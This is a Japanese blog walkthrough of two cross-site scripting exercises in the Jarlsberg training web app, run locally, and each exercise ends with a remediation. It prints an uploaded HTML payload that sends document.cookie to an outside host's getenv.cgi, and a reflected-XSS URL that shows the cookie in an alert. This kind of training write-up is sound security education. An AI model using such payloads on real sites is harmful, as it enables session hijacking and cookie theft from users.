XSSによる攻撃(その1)

http://jarlsberg.appspot.com/part2にしたがって、問題を解き始めてみる。

XSS(Cross Site Scripting)とは、攻撃者のサイトを経由して、脆弱サイトに悪意のあるスクリプトを混入することができる脆弱性のこと*1。これによって、攻撃者による、ユーザーのcookie値の取得(IDやパスワードの漏洩、セッションハイジャック)、ページの改ざんなどが可能になる。ちなみに、短縮形が”CSS”でなく”XSS”なのは、すでにCSS(Cascading Style Sheets)が存在するから。

なお、jarlsbergでは、各問題は以下のように3種類に区分されている。XSSの問題は、全て一番上の「black box(ソースコードに関する知識が無くとも攻撃できる脆弱性)」に該当する。

f:id:GOLEM-XIV:20100523121608p:image

問題1. File Upload XSS

調査

一問目は「Can you upload a file that allows you to execute arbitrary script on the jarlsberg.appspot.com domain?」。つまり、ファイルアップロードの機能を利用して、任意のスクリプトを実行できるか、ということ。

色々リンクを見ていると、右上のほうにSign-upのリンクが。クリックすると、アカウント作成用画面らしい。ユーザー名とパスワードを入れて、アカウントを作成する。

f:id:GOLEM-XIV:20100523121609p:image

アカウントを作成すると、Sign-inからログインできる。

f:id:GOLEM-XIV:20100523121610p:image

ログイン後の画面上部に、Uploadのリンクが。おそらくこれがFile Upload機能だろう。

f:id:GOLEM-XIV:20100523121611p:image

まずは何かファイルをアップロードしてみよう。

f:id:GOLEM-XIV:20100523125027p:image

アップロード後は、画面に、どのパスにアップロードしたファイルを格納したかが表示される。

f:id:GOLEM-XIV:20100523125028p:image

さて、ここからが脆弱性攻撃の本番。どうやったら任意のコード(javascript)を実行できるか考えてみる。

まずは画面表示の際にエスケープされていないものを探してみる。アップロード完了画面にファイル名、ユーザー名が表示されるけれど、これらにスクリプトを仕込むのは難しそうだ(ユーザー名は入力長に制限があるし、ファイル名にも使える文字の制限がある)。

ここで、アップロードしたファイルがWeb経由で公開されていることに気づく。アップロードしたファイルにブラウザからアクセスできそうだ。http://127.0.0.1:8008/697369902/golem-xiv/test.txtにアクセスしたところ、確かにアップロードファイルを表示できた。

f:id:GOLEM-XIV:20100523125755p:image

脆弱性の確認

つまり、攻撃コードを含んだファイルをアップロードすればよい。

例えば、こんなファイルを、test.htmlとしてアップロード。

<html>
<body>
<script>document.location="http://netking.s31.xrea.com/getenv.cgi?cookie="+document.cookie+"#env";
</script>
<body>
<html>

で、 http://127.0.0.1:8008/697369902/golem-xiv/test.html にアクセスすると、環境変数を確認するページに遷移する。QUERY_STRINGをみると、たしかにcookieの中身が表示されている。つまり、アップロードしたファイルのURLに誘導することで、攻撃者のサイトにcookieの中身を漏洩させることができる。

f:id:GOLEM-XIV:20100523125756p:image

解決方法

アップロードしたファイルを、Webアプリケーションで表示する必要がないのであれば、Webに公開されていない場所にファイルを保存すればよい。Webアプリケーションで表示したいのであれば、表示時にスクリプトの無効化処理を行い、スクリプトが実行されないようにしなければならない。例えばPHPであれば、データの出力時にhtmlspecialcharsを使用する、など。

なお、上の手順では、1つ脆弱性を見つけた時点で調査を完了しているが、攻撃を防ぐ立場からは、脆弱性が存在しうる箇所のリストアップ&漏れが無いような調査が必要。

問題2. Find a reflected XSS attack

二問目は「Find a reflected XSS attack. What we want is a URL that when clicked on will execute a script.」。つまり、ユーザーにURLを踏ませて、任意のコードを実行させることができるような脆弱性を見つければいい。

調査

入力欄にスクリプトを埋め込んでみる。すると、Profile画面のHomepage欄で脆弱性が見つかった。

Homepage欄に実行したいスクリプトを記入し、Save。

f:id:GOLEM-XIV:20100524001825p:image

すると、My Snippetsページの のMy Siteリンクをクリックすることで、埋め込んだスクリプトを実行できる。

f:id:GOLEM-XIV:20100524001823p:image

根本原因は、不正なURLを渡された場合に表示されるInvalid URL画面で、その不正なURLをそのまま画面に表示してしまっていることである。

f:id:GOLEM-XIV:20100524001826p:image

脆弱性の確認

例えば、ユーザーに以下のURLを踏ませることで、確認できる。

http://localhost:8008/697369902/<script>alert(document.cookie)</script>

解決方法

Invalid URLを表示する画面で、不正なURLを表示する際に、スクリプトの無効化処理を行い、スクリプトが実行されないようにしなければならない。

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です